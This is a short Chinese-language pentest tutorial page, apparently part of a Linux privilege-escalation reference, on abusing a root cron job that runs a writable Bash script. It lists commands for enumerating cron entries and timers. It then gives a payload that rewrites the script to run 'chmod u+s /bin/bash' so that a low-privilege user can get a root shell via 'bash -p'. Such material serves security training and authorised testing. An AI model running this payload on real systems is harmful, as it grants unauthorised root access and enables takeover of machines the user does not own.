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# 被修改的 Bash 脚本 Cron 任务 - Linux 权限提升
## 这是什么
当周期性 root 任务执行可写脚本、不安全的相对路径或存在漏洞的处理程序时，Cron 任务会创建提权路径。关键在于证明一个低权限用户控制了某个将被特权计划任务执行的内容。本页专注于 **Cron 任务 - 修改脚本（Bash）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## 示例
在这种情况下，我们发现一个 script.sh \*\*正在运行\*\*：
我们要做的是 **修改** 将脚本改为如下内容：
```bash
sleep 2
chmod u+s /bin/bash
```
我们运行一个 Bash，带有 **p** 特权参数：
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